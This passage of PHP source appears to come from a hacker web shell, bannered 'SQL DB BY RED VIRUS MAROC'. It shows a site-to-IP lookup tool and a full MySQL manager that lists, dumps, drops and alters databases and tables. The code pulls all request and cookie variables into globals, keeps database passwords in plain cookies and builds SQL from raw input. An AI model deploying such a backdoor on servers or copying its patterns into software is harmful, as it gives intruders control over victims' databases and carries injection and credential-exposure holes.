    echo "\r\n\r\n<form method='post' ><center>\r\n\r\n<textarea style='border:1px dotted #59E817; width: 543px; height: 420px; background-color:#0C0C0C; font-family:Tahoma; font-size:12pt; color:#59E817' cols='50' rows='12' name='site2ip' > www.example.com\r\n\r\nRomove http:// or https://</textarea></br><br>\r\n\r\n<input \r\nstyle='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:12pt; color:#59E817' type='submit' name='w2ip' value='Extract' ><br>\r\n\r\n</center>";
    ?>

<?php 
    if (isset($_POST['site2ip'])) {
        foreach (explode("\n", $_POST['site2ip']) as $site4ip) {
            $ipp = trim($site4ip);
            echo '<font color="red" size="3"></font><font color="green" size="5"><center>

<font color="Blue" size="3"</font><font color=Green face=Verdana size=-2>' . $ipp . '</font>

<font color=white face=Verdana size=-2>  ==> </font> <font color=Green face=Verdana size=-2>' . gethostbyname($ipp) . '</font></center></font>';
        }
    }
}
///////////////////////////////////// sql ///////////////////////////////////////
if ($_GET['tha'] == 'sql') {
    ?>
<A HREF="?"><button size="4" style='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:12pt; color:#59E817'>back</button></A><br><br>
<?php 
    if (function_exists('ini_get')) {
        $onoff = ini_get('register_globals');
    } else {
        $onoff = get_cfg_var('register_globals');
    }
    if ($onoff != 1) {
        @extract($HTTP_SERVER_VARS, EXTR_SKIP);
        @extract($HTTP_COOKIE_VARS, EXTR_SKIP);
        @extract($HTTP_POST_FILES, EXTR_SKIP);
        @extract($HTTP_POST_VARS, EXTR_SKIP);
        @extract($HTTP_GET_VARS, EXTR_SKIP);
        @extract($HTTP_ENV_VARS, EXTR_SKIP);
    }
    function logon()
    {
        global $PHP_SELF;
        setcookie("mysql_web_admin_username");
        setcookie("mysql_web_admin_password");
        setcookie("mysql_web_admin_hostname");
        echo "<html>\n";
        echo "<head>\n";
        echo "</head>\n";
        echo "<body>\n";
        echo "<table width=100% height=100%><tr><td><center>\n";
        echo "<table cellpadding=2><tr><td bgcolor=black><center>\n";
        echo "<table cellpadding=20><tr><td bgcolor=#ffffff><center>\n";
        echo "<font size=5 color=red>SQL DB BY RED VIRUS MAROC </font>\n";
        echo "<form action='{$PHP_SELF}'>\n";
        echo "<input \r\nstyle='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#59E817' type=hidden name=action value=logon_submit>\n";
        echo "<table cellpadding=5 cellspacing=1>\n";
        echo "<tr><td><font color=red>Hostname </font></td><td> <input \r\nstyle='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#59E817' type=text name=hostname value='localhost'></td></tr>\n";
        echo "<tr><td><font color=red>Username </font></td><td> <input \r\nstyle='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#59E817' type=text name=username></td></tr>\n";
        echo "<tr><td><font color=red>Password </font> </td><td> <input \r\nstyle='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#59E817' type=password name=password></td></tr>\n";
        echo "</table><p>\n";
        echo "<input \r\nstyle='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#59E817' type=submit value='Enter'>\n <br>";
        echo "<input \r\nstyle='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#59E817' type=reset value='Clear'><br>\n <br>";
        echo "</form>\n";
        echo "</center></td></tr></table>\n";
        echo "</center></td></tr></table>\n";
        echo "<p><hr width=300>\n";
        echo "</center></td></tr></table>\n";
        echo "</body>\n";
        echo "</html>\n";
    }
    function logon_submit()
    {
        global $username, $password, $hostname, $PHP_SELF;
        if ($hostname == '') {
            $hostname = 'localhost';
        }
        setcookie("mysql_web_admin_username", $username);
        setcookie("mysql_web_admin_password", $password);
        setcookie("mysql_web_admin_hostname", $hostname);
        echo "<html>";
        echo "<head>";
        echo "<META HTTP-EQUIV=Refresh CONTENT='0; URL={$PHP_SELF}?action=listDBs'>";
        echo "</head>";
        echo "</html>";
    }
    function echoQueryResult()
    {
        global $queryStr, $errMsg;
        if ($errMsg == "") {
            $errMsg = "Success";
        }
        if ($queryStr != "") {
            echo "<table cellpadding=5>\n";
            echo "<tr><td>Query</td><td>{$queryStr}</td></tr>\n";
            echo "<tr><td>Result</td><td>{$errMsg}</td></tr>\n";
            echo "</table><p>\n";
        }
    }
    function listDatabases()
    {
        global $mysqlHandle, $PHP_SELF;
        echo "<h1>Databases List</h1>\n";
        echo "<form action='{$PHP_SELF}'>\n";
        echo "<input \r\nstyle='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#59E817' type=hidden name=action value=createDB>\n";
        echo "<input \r\nstyle='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#59E817' type=text name=dbname>\n";
        echo "<input \r\nstyle='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#59E817' type=submit value='Create Database'>\n";
        echo "</form>\n";
        echo "<hr>\n";
        echo "<table cellspacing=1 cellpadding=5>\n";
        $pDB = mysql_list_dbs($mysqlHandle);
        $num = mysql_num_rows($pDB);
        for ($i = 0; $i < $num; $i++) {
            $dbname = mysql_dbname($pDB, $i);
            echo "<tr>\n";
            echo "<td>{$dbname}</td>\n";
            echo "<td><a href='{$PHP_SELF}?action=listTables&dbname={$dbname}'>Tables</a></td>\n";
            echo "<td><a href='{$PHP_SELF}?action=dropDB&dbname={$dbname}' onClick=\"return confirm('Drop Database \\'{$dbname}\\'?')\">Drop</a></td>\n";
            echo "<td><a href='{$PHP_SELF}?action=dumpDB&dbname={$dbname}' onClick=\"return confirm('Dump Database \\'{$dbname}\\'?')\">Dump</a></td>\n";
            echo "</tr>\n";
        }
        echo "</table>\n";
    }
    function createDatabase()
    {
        global $mysqlHandle, $dbname, $PHP_SELF;
        mysql_create_db($dbname, $mysqlHandle);
        listDatabases();
    }
    function dropDatabase()
    {
        global $mysqlHandle, $dbname, $PHP_SELF;
        mysql_drop_db($dbname, $mysqlHandle);
        listDatabases();
    }
    function listTables()
    {
        global $mysqlHandle, $dbname, $PHP_SELF;
        echo "<h1>Tables List</h1>\n";
        echo "<p class=location>{$dbname}</p>\n";
        echoQueryResult();
        echo "<form action='{$PHP_SELF}'>\n";
        echo "<input \r\nstyle='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#59E817' type=hidden name=action value=createTable>\n";
        echo "<input \r\nstyle='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#59E817' type=hidden name=dbname value={$dbname}>\n";
        echo "<input \r\nstyle='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#59E817' type=text name=tablename>\n";
        echo "<input \r\nstyle='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#59E817' type=submit value='Create Table'>\n";
        echo "</form>\n";
        echo "<form action='{$PHP_SELF}'>\n";
        echo "<input \r\nstyle='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#59E817' type=hidden name=action value=query>\n";
        echo "<input \r\nstyle='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#59E817' type=hidden name=dbname value={$dbname}>\n";
        echo "<input \r\nstyle='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#59E817' type=text size=120 name=queryStr>\n";
        echo "<input \r\nstyle='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#59E817' type=submit value='Query'>\n";
        echo "</form>\n";
        echo "<hr>\n";
        $pTable = mysql_list_tables($dbname);
        if ($pTable == 0) {
            $msg = mysql_error();
            echo "<h3>Error : {$msg}</h3><p>\n";
            return;
        }
        $num = mysql_num_rows($pTable);
        echo "<table cellspacing=1 cellpadding=5>\n";
        for ($i = 0; $i < $num; $i++) {
            $tablename = mysql_tablename($pTable, $i);
            echo "<tr>\n";
            echo "<td>\n";
            echo "{$tablename}\n";
            echo "</td>\n";
            echo "<td>\n";
            echo "<a href='{$PHP_SELF}?action=viewSchema&dbname={$dbname}&tablename={$tablename}'>Schema</a>\n";
            echo "</td>\n";
            echo "<td>\n";
            echo "<a href='{$PHP_SELF}?action=viewData&dbname={$dbname}&tablename={$tablename}'>Data</a>\n";
            echo "</td>\n";
            echo "<td>\n";
            echo "<a href='{$PHP_SELF}?action=dropTable&dbname={$dbname}&tablename={$tablename}' onClick=\"return confirm('Drop Table \\'{$tablename}\\'?')\">Drop</a>\n";
            echo "</td>\n";
            echo "<td>\n";
            echo "<a href='{$PHP_SELF}?action=dumpTable&dbname={$dbname}&tablename={$tablename}' onClick=\"return confirm('Dump Table \\'{$tablename}\\'?')\">Dump</a>\n";
            echo "</td>\n";
            echo "</tr>\n";
        }
        echo "</table>";
    }
    function createTable()
    {
        global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $queryStr, $errMsg;
        $queryStr = "CREATE TABLE {$tablename} ( no INT )";
        mysql_select_db($dbname, $mysqlHandle);
        mysql_query($queryStr, $mysqlHandle);
        $errMsg = mysql_error();
        listTables();
    }
    function dropTable()
    {
        global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $queryStr, $errMsg;
        $queryStr = "DROP TABLE {$tablename}";
        mysql_select_db($dbname, $mysqlHandle);
        mysql_query($queryStr, $mysqlHandle);
        $errMsg = mysql_error();
        listTables();
    }
    function viewSchema()
    {
        global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $queryStr, $errMsg;
        echo "<h1>Table Schema</h1>\n";
        echo "<p class=location>{$dbname} &gt; {$tablename}</p>\n";
        echoQueryResult();
        echo "<a href='{$PHP_SELF}?action=addField&dbname={$dbname}&tablename={$tablename}'>Add Field</a> | \n";
        echo "<a href='{$PHP_SELF}?action=viewData&dbname={$dbname}&tablename={$tablename}'>View Data</a>\n";
        echo "<hr>\n";
        $pResult = mysql_db_query($dbname, "SHOW fields FROM {$tablename}");
        $num = mysql_num_rows($pResult);
        echo "<table cellspacing=1 cellpadding=5>\n";
        echo "<tr>\n";
        echo "<th>Field</th>\n";
        echo "<th>Type</th>\n";
        echo "<th>Null</th>\n";
        echo "<th>Key</th>\n";
        echo "<th>Default</th>\n";
        echo "<th>Extra</th>\n";
        echo "<th colspan=2>Action</th>\n";
        echo "</tr>\n";
        for ($i = 0; $i < $num; $i++) {
            $field = mysql_fetch_array($pResult);
            echo "<tr>\n";
            echo "<td>" . $field["Field"] . "</td>\n";
            echo "<td>" . $field["Type"] . "</td>\n";
            echo "<td>" . $field["Null"] . "</td>\n";
            echo "<td>" . $field["Key"] . "</td>\n";
            echo "<td>" . $field["Default"] . "</td>\n";
            echo "<td>" . $field["Extra"] . "</td>\n";
            $fieldname = $field["Field"];
            echo "<td><a href='{$PHP_SELF}?action=editField&dbname={$dbname}&tablename={$tablename}&fieldname={$fieldname}'>Edit</a></td>\n";
            echo "<td><a href='{$PHP_SELF}?action=dropField&dbname={$dbname}&tablename={$tablename}&fieldname={$fieldname}' onClick=\"return confirm('Drop Field \\'{$fieldname}\\'?')\">Drop</a></td>\n";
            echo "</tr>\n";
        }
        echo "</table>\n";
    }
    function manageField($cmd)
    {
        global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF;
        if ($cmd == "add") {
            echo "<h1>Add Field</h1>\n";
        } else {
            if ($cmd == "edit") {
                echo "<h1>Edit Field</h1>\n";
                $pResult = mysql_db_query($dbname, "SHOW fields FROM {$tablename}");
                $num = mysql_num_rows($pResult);
                for ($i = 0; $i < $num; $i++) {
                    $field = mysql_fetch_array($pResult);
                    if ($field["Field"] == $fieldname) {
                        $fieldtype = $field["Type"];
                        $fieldkey = $field["Key"];
                        $fieldextra = $field["Extra"];
                        $fieldnull = $field["Null"];
                        $fielddefault = $field["Default"];
                        break;
                    }
                }
                $type = strtok($fieldtype, " (,)\n");
                if (strpos($fieldtype, "(")) {
                    if ($type == "enum" | $type == "set") {
                        $valuelist = strtok(" ()\n");
                    } else {
                        $M = strtok(" (,)\n");
                        if (strpos($fieldtype, ",")) {
                            $D = strtok(" (,)\n");
                        }
                    }
                }
            }
        }
        echo "<p class=location>{$dbname} &gt; {$tablename}</p>\n";
        echo "<form action={$PHP_SELF}>\n";
        if ($cmd == "add") {
            echo "<input \r\nstyle='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#59E817' type=hidden name=action value=addField_submit>\n";
        } else {
            if ($cmd == "edit") {
                echo "<input \r\nstyle='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#59E817' type=hidden name=action value=editField_submit>\n";
                echo "<input \r\nstyle='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#59E817' type=hidden name=old_name value={$fieldname}>\n";
            }
        }
        echo "<input \r\nstyle='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#59E817' type=hidden name=dbname value={$dbname}>\n";
        echo "<input \r\n type=hidden name=tablename value={$tablename}>\n";
        echo "<h3>Name</h3>\n";
        echo "<input  type=text name=name value={$fieldname}><p>\n";
        echo "\r\n\r\n<h3>Type</h3>\r\n\r\n<font size=2>\r\n* `M' indicates the maximum display size.<br>\r\n* `D' applies to floating-point types and indicates the number of digits following the decimal point.<br>\r\n</font>\r\n\r\n<table>\r\n<tr>\r\n<th>Type</th><th>&nbspM&nbsp</th><th>&nbspD&nbsp</th><th>unsigned</th><th>zerofill</th><th>binary</th>\r\n</tr>\r\n<tr>\r\n<td><input type=radio name=type value=\"TINYINT\" ";
        if ($type == "tinyint") {
            echo "checked";
        }
        echo ">TINYINT (-128 ~ 127)</td>\r\n<td align=center>O</td>\r\n<td>&nbsp</td>\r\n<td align=center>O</td>\r\n<td align=center>O</td>\r\n<td>&nbsp</td>\r\n</tr>\r\n<tr>\r\n<td><input   type=radio name=type value=\"SMALLINT\" ";
        if ($type == "smallint") {
            echo "checked";
        }
        echo ">SMALLINT (-32768 ~ 32767)</td>\r\n<td align=center>O</td>\r\n<td>&nbsp</td>\r\n<td align=center>O</td>\r\n<td align=center>O</td>\r\n<td>&nbsp</td>\r\n</tr>\r\n<tr>\r\n<td><input type=radio name=type value=\"MEDIUMINT\" ";
        if ($type == "mediumint") {
            echo "checked";
        }
        echo ">MEDIUMINT (-8388608 ~ 8388607)</td>\r\n\r\n<td align=center>O</td>\r\n<td>&nbsp</td>\r\n<td align=center>O</td>\r\n<td align=center>O</td>\r\n<td>&nbsp</td>\r\n</tr>\r\n<tr>\r\n<td><input type=radio name=type value=\"INT\" ";
        if ($type == "int") {
            echo "checked";
        }
        echo ">INT (-2147483648 ~ 2147483647)</td>\r\n<td align=center>O</td>\r\n<td>&nbsp</td>\r\n<td align=center>O</td>\r\n<td align=center>O</td>\r\n<td>&nbsp</td>\r\n</tr>\r\n<tr>\r\n<td><input type=radio name=type value=\"BIGINT\" ";
        if ($type == "bigint") {
            echo "checked";
        }
        echo ">BIGINT (-9223372036854775808 ~ 9223372036854775807)</td>\r\n<td align=center>O</td>\r\n<td>&nbsp</td>\r\n<td align=center>O</td>\r\n<td align=center>O</td>\r\n<td>&nbsp</td>\r\n</tr>\r\n<tr>\r\n<td><input type=radio name=type value=\"FLOAT\" ";
        if ($type == "float") {
            echo "checked";
        }
        echo ">FLOAT</td>\r\n<td align=center>O</td>\r\n<td align=center>O</td>\r\n<td>&nbsp</td>\r\n<td align=center>O</td>\r\n<td>&nbsp</td>\r\n</tr>\r\n<tr>\r\n<td><input type=radio name=type value=\"DOUBLE\" ";
        if ($type == "double") {
            echo "checked";
        }
        echo ">DOUBLE</td>\r\n<td align=center>O</td>\r\n<td align=center>O</td>\r\n<td>&nbsp</td>\r\n<td align=center>O</td>\r\n<td>&nbsp</td>\r\n</tr>\r\n<tr>\r\n<td><input type=radio name=type value=\"DECIMAL\" ";
        if ($type == "decimal") {
            echo "checked";
        }
        echo ">DECIMAL(NUMERIC)</td>\r\n<td align=center>O</td>\r\n<td align=center>O</td>\r\n<td>&nbsp</td>\r\n<td align=center>O</td>\r\n<td>&nbsp</td>\r\n</tr>\r\n<tr>\r\n<td><input type=radio name=type value=\"DATE\" ";
        if ($type == "date") {
            echo "checked";
        }
        echo ">DATE (1000-01-01 ~ 9999-12-31, YYYY-MM-DD)</td>\r\n<td>&nbsp</td>\r\n<td>&nbsp</td>\r\n<td>&nbsp</td>\r\n<td>&nbsp</td>\r\n<td>&nbsp</td>\r\n</tr>\r\n<tr>\r\n<td><input type=radio name=type value=\"DATETIME\" ";
        if ($type == "datetime") {
            echo "checked";
        }
        echo ">DATETIME (1000-01-01 00:00:00 ~ 9999-12-31 23:59:59, YYYY-MM-DD HH:MM:SS)</td>\r\n<td>&nbsp</td>\r\n<td>&nbsp</td>\r\n<td>&nbsp</td>\r\n<td>&nbsp</td>\r\n<td>&nbsp</td>\r\n</tr>\r\n<tr>\r\n<td><input type=radio name=type value=\"TIMESTAMP\" ";
        if ($type == "timestamp") {
            echo "checked";
        }
        echo ">TIMESTAMP (1970-01-01 00:00:00 ~ 2106..., YYYYMMDD[HH[MM[SS]]])</td>\r\n<td align=center>O</td>\r\n<td>&nbsp</td>\r\n<td>&nbsp</td>\r\n<td>&nbsp</td>\r\n<td>&nbsp</td>\r\n</tr>\r\n<tr>\r\n<td><input type=radio name=type value=\"TIME\" ";
        if ($type == "time") {
            echo "checked";
        }
        echo ">TIME (-838:59:59 ~ 838:59:59, HH:MM:SS)</td>\r\n<td>&nbsp</td>\r\n<td>&nbsp</td>\r\n<td>&nbsp</td>\r\n<td>&nbsp</td>\r\n<td>&nbsp</td>\r\n</tr>\r\n<tr>\r\n<td><input type=radio name=type value=\"YEAR\" ";
        if ($type == "year") {
            echo "checked";
        }
        echo ">YEAR (1901 ~ 2155, 0000, YYYY)</td>\r\n<td>&nbsp</td>\r\n<td>&nbsp</td>\r\n<td>&nbsp</td>\r\n<td>&nbsp</td>\r\n<td>&nbsp</td>\r\n</tr>\r\n<tr>\r\n<td><input type=radio name=type value=\"CHAR\" ";
        if ($type == "char") {
            echo "checked";
        }
        echo ">CHAR</td>\r\n<td align=center>O</td>\r\n<td>&nbsp</td>\r\n<td>&nbsp</td>\r\n<td>&nbsp</td>\r\n<td align=center>O</td>\r\n</tr>\r\n<tr>\r\n<td><input type=radio name=type value=\"VARCHAR\" ";
        if ($type == "varchar") {
            echo "checked";
        }
        echo ">VARCHAR</td>\r\n<td align=center>O</td>\r\n<td>&nbsp</td>\r\n<td>&nbsp</td>\r\n<td>&nbsp</td>\r\n<td align=center>O</td>\r\n</tr>\r\n<tr>\r\n<td><input type=radio name=type value=\"TINYTEXT\" ";
        if ($type == "tinytext") {
            echo "checked";
        }
        echo ">TINYTEXT (0 ~ 255)</td>\r\n<td>&nbsp</td>\r\n<td>&nbsp</td>\r\n<td>&nbsp</td>\r\n<td>&nbsp</td>\r\n<td>&nbsp</td>\r\n</tr>\r\n<tr>\r\n<td><input type=radio name=type value=\"TEXT\" ";
        if ($type == "text") {
            echo "checked";
        }
        echo ">TEXT (0 ~ 65535)</td>\r\n<td>&nbsp</td>\r\n<td>&nbsp</td>\r\n<td>&nbsp</td>\r\n<td>&nbsp</td>\r\n<td>&nbsp</td>\r\n</tr>\r\n<tr>\r\n<td><input type=radio name=type value=\"MEDIUMTEXT\" ";
        if ($type == "mediumtext") {
            echo "checked";
        }
        echo ">MEDIUMTEXT (0 ~ 16777215)</td>\r\n<td>&nbsp</td>\r\n<td>&nbsp</td>\r\n<td>&nbsp</td>\r\n<td>&nbsp</td>\r\n<td>&nbsp</td>\r\n</tr>\r\n<tr>\r\n<td><input type=radio name=type value=\"LONGTEXT\" ";
        if ($type == "longtext") {
            echo "checked";
        }
        echo ">LONGTEXT (0 ~ 4294967295)</td>\r\n<td>&nbsp</td>\r\n<td>&nbsp</td>\r\n<td>&nbsp</td>\r\n<td>&nbsp</td>\r\n<td>&nbsp</td>\r\n</tr>\r\n<tr>\r\n<td><input type=radio name=type value=\"TINYBLOB\" ";
        if ($type == "tinyblob") {
            echo "checked";
        }
        echo ">TINYBLOB (0 ~ 255)</td>\r\n<td>&nbsp</td>\r\n<td>&nbsp</td>\r\n<td>&nbsp</td>\r\n<td>&nbsp</td>\r\n<td>&nbsp</td>\r\n</tr>\r\n<tr>\r\n<td><input type=radio name=type value=\"BLOB\" ";
        if ($type == "blob") {
            echo "checked";
        }
        echo ">BLOB (0 ~ 65535)</td>\r\n<td>&nbsp</td>\r\n<td>&nbsp</td>\r\n<td>&nbsp</td>\r\n<td>&nbsp</td>\r\n<td>&nbsp</td>\r\n</tr>\r\n<tr>\r\n<td><input type=radio name=type value=\"MEDIUMBLOB\" ";
        if ($type == "mediumblob") {
            echo "checked";
        }
        echo ">MEDIUMBLOB (0 ~ 16777215)</td>\r\n<td>&nbsp</td>\r\n<td>&nbsp</td>\r\n<td>&nbsp</td>\r\n<td>&nbsp</td>\r\n<td>&nbsp</td>\r\n</tr>\r\n<tr>\r\n<td><input type=radio name=type value=\"LONGBLOB\" ";
        if ($type == "longblob") {
            echo "checked";
        }
        echo ">LONGBLOB (0 ~ 4294967295)</td>\r\n<td>&nbsp</td>\r\n<td>&nbsp</td>\r\n<td>&nbsp</td>\r\n<td>&nbsp</td>\r\n<td>&nbsp</td>\r\n</tr> \r\n<tr>\r\n<td><input type=radio name=type value=\"ENUM\" ";
        if ($type == "enum") {
            echo "checked";
        }
        echo ">ENUM</td>\r\n<td colspan=5><center>value list</center></td>\r\n</tr>\r\n<tr>\r\n<td><input type=radio name=type value=\"SET\" ";
        if ($type == "set") {
            echo "checked";
        }
        echo ">SET</td>\r\n<td colspan=5><center>value list</center></td>\r\n</tr>\r\n\r\n</table>\r\n<table>\r\n<tr><th>M</th><th>D</th><th>unsigned</th><th>zerofill</th><th>binary</th><th>value list (ex: 'apple', 'orange', 'banana') </th></tr>\r\n<tr>\r\n<td align=center><input type=text size=4 name=M ";
        if ($M != "") {
            echo "value={$M}";
        }
        echo "></td>\r\n<td align=center><input type=text size=4 name=D ";
        if ($D != "") {
            echo "value={$D}";
        }
        echo "></td>\r\n<td align=center><input type=checkbox name=unsigned value=\"UNSIGNED\" ";
        if (strpos($fieldtype, "unsigned")) {
            echo "checked";
        }
        echo "></td>\r\n<td align=center><input type=checkbox name=zerofill value=\"ZEROFILL\" ";
        if (strpos($fieldtype, "zerofill")) {
            echo "checked";
        }
        echo "></td>\r\n<td align=center><input type=checkbox name=binary value=\"BINARY\" ";
        if (strpos($fieldtype, "binary")) {
            echo "checked";
        }
        echo "></td>\r\n<td align=center><input type=text size=60 name=valuelist ";
        if ($valuelist != "") {
            echo "value=\"{$valuelist}\"";
        }
        echo "></td>\r\n</tr>\r\n</table>\r\n\r\n\r\n<h3>Flags</h3>\r\n<table>\r\n<tr><th>not null</th><th>default value</th><th>auto increment</th><th>primary key</th></tr>\r\n<tr>\r\n<td align=center><input type=checkbox name=not_null value=\"NOT NULL\" ";
        if ($fieldnull != "YES") {
            echo "checked";
        }
        echo "></td>\r\n<td align=center><input type=text name=default_value ";
        if ($fielddefault != "") {
            echo "value={$fielddefault}";
        }
        echo "></td>\r\n<td align=center><input type=checkbox name=auto_increment value=\"AUTO_INCREMENT\" ";
        if ($fieldextra == "auto_increment") {
            echo "checked";
        }
        echo "></td>\r\n<td align=center><input type=checkbox name=primary_key value=\"PRIMARY KEY\" ";
        if ($fieldkey == "PRI") {
            echo "checked";
        }
        echo "></td>\r\n</tr>\r\n</table>\r\n\r\n<p>";
        if ($cmd == "add") {
            echo "<input type=submit value='Add Field'>\n";
        } else {
            if ($cmd == "edit") {
                echo "<input type=submit value='Edit Field'>\n";
            }
        }
        echo "<input type=button value=Cancel onClick='history.back()'>\n";
        echo "</form>\n";
    }
    function manageField_submit($cmd)
    {
        global $mysqlHandle, $dbname, $tablename, $old_name, $name, $type, $PHP_SELF, $queryStr, $errMsg, $M, $D, $unsigned, $zerofill, $binary, $not_null, $default_value, $auto_increment, $primary_key, $valuelist;
        if ($cmd == "add") {
            $queryStr = "ALTER TABLE {$tablename} ADD {$name} ";
        } else {
            if ($cmd == "edit") {
                $queryStr = "ALTER TABLE {$tablename} CHANGE {$old_name} {$name} ";
            }
        }
        if ($M != "") {
            if ($D != "") {
                $queryStr .= "{$type}({$M},{$D}) ";
            } else {
                $queryStr .= "{$type}({$M}) ";
            }
        } else {
            if ($valuelist != "") {
                $valuelist = stripslashes($valuelist);
                $queryStr .= "{$type}({$valuelist}) ";
            } else {
                $queryStr .= "{$type} ";
            }
        }
        $queryStr .= "{$unsigned} {$zerofill} {$binary} ";
        if ($default_value != "") {
            $queryStr .= "DEFAULT '{$default_value}' ";
        }
        $queryStr .= "{$not_null} {$auto_increment}";
        mysql_select_db($dbname, $mysqlHandle);
        mysql_query($queryStr, $mysqlHandle);
        $errMsg = mysql_error();
        // key change
        $keyChange = false;
        $result = mysql_query("SHOW KEYS FROM {$tablename}");
        $primary = "";
        while ($row = mysql_fetch_array($result)) {
            if ($row["Key_name"] == "PRIMARY") {
                if ($row[Column_name] == $name) {
                    $keyChange = true;
                } else {
                    $primary .= ", {$row['Column_name']}";
                }
            }
        }
        if ($primary_key == "PRIMARY KEY") {
            $primary .= ", {$name}";
            $keyChange = !$keyChange;
        }
        $primary = substr($primary, 2);
        if ($keyChange == true) {
            $q = "ALTER TABLE {$tablename} DROP PRIMARY KEY";
            mysql_query($q);
            $queryStr .= "<br>\n" . $q;
            $errMsg .= "<br>\n" . mysql_error();
            $q = "ALTER TABLE {$tablename} ADD PRIMARY KEY( {$primary} )";
            mysql_query($q);
            $queryStr .= "<br>\n" . $q;
            $errMsg .= "<br>\n" . mysql_error();
        }
        viewSchema();
    }
    function dropField()
    {
        global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF, $queryStr, $errMsg;
        $queryStr = "ALTER TABLE {$tablename} DROP COLUMN {$fieldname}";
        mysql_select_db($dbname, $mysqlHandle);
        mysql_query($queryStr, $mysqlHandle);
        $errMsg = mysql_error();
        viewSchema();
    }
    function viewData($queryStr)
    {
        global $action, $mysqlHandle, $dbname, $tablename, $PHP_SELF, $errMsg, $page, $rowperpage, $orderby;
        echo "<h1>Data in Table</h1>\n";
        if ($tablename != "") {
            echo "<p class=location>{$dbname} &gt; {$tablename}</p>\n";
        } else {
            echo "<p class=location>{$dbname}</p>\n";
        }
        $queryStr = stripslashes($queryStr);
        if ($queryStr == "") {
            $queryStr = "SELECT * FROM {$tablename}";
            if ($orderby != "") {
                $queryStr .= " ORDER BY {$orderby}";
            }
            echo "<a href='{$PHP_SELF}?action=addData&dbname={$dbname}&tablename={$tablename}'>Add Data</a> | \n";
            echo "<a href='{$PHP_SELF}?action=viewSchema&dbname={$dbname}&tablename={$tablename}'>Schema</a>\n";
        }
        $pResult = mysql_db_query($dbname, $queryStr);
        $fieldt = mysql_fetch_field($pResult);
        $tablename = $fieldt->table;
        $errMsg = mysql_error();
        $GLOBALS[queryStr] = $queryStr;
        if ($pResult == false) {
            echoQueryResult();
            return;
        }
        if ($pResult == 1) {
            $errMsg = "Success";
            echoQueryResult();
            return;
        }
        echo "<hr>\n";
        $row = mysql_num_rows($pResult);
        $col = mysql_num_fields($pResult);
        if ($row == 0) {
            echo "No Data Exist!";
            return;
        }
        if ($rowperpage == "") {
            $rowperpage = 30;
        }
        if ($page == "") {
            $page = 0;
        } else {
            $page--;
        }
        mysql_data_seek($pResult, $page * $rowperpage);
        echo "<table cellspacing=1 cellpadding=2>\n";
        echo "<tr>\n";
        for ($i = 0; $i < $col; $i++) {
            $field = mysql_fetch_field($pResult, $i);
            echo "<th>";
            if ($action == "viewData") {
                echo "<a href='{$PHP_SELF}?action=viewData&dbname={$dbname}&tablename={$tablename}&orderby=" . $field->name . "'>" . $field->name . "</a>\n";
            } else {
                echo "<font\tstyle='text-decoration:none;color:#000000;font-size:x-small;'>" . $field->name . "</font>\n";
            }
            echo "</th>\n";
        }
        echo "<th colspan=2>Action</th>\n";
        echo "</tr>\n";
        for ($i = 0; $i < $rowperpage; $i++) {
            $rowArray = mysql_fetch_row($pResult);
            if ($rowArray == false) {
                break;
            }
            echo "<tr>\n";
            $key = "";
            for ($j = 0; $j < $col; $j++) {
                $data = $rowArray[$j];
                $field = mysql_fetch_field($pResult, $j);
                if ($field->primary_key == 1) {
                    $key .= "&" . $field->name . "=" . $data;
                }
                if (strlen($data) > 30) {
                    $data = substr($data, 0, 30) . "...";
                }
                $data = htmlspecialchars($data);
                echo "<td>\n";
                echo "{$data}\n";
                echo "</td>\n";
            }
            if ($key == "") {
                echo "<td colspan=2>no Key</td>\n";
            } else {
                echo "<td><a href='{$PHP_SELF}?action=editData{$key}&dbname={$dbname}&tablename={$tablename}'>Edit</a></td>\n";
                echo "<td><a href='{$PHP_SELF}?action=deleteData{$key}&dbname={$dbname}&tablename={$tablename}' onClick=\"return confirm('Delete Row?')\">Delete</a></td>\n";
            }
            echo "</tr>\n";
        }
        echo "</table>\n";
        echo "<font size=2>\n";
        if ($action == "viewData") {
            echo "<form action='{$PHP_SELF}?action=viewData&dbname={$dbname}&tablename={$tablename}' method=post>\n";
        } else {
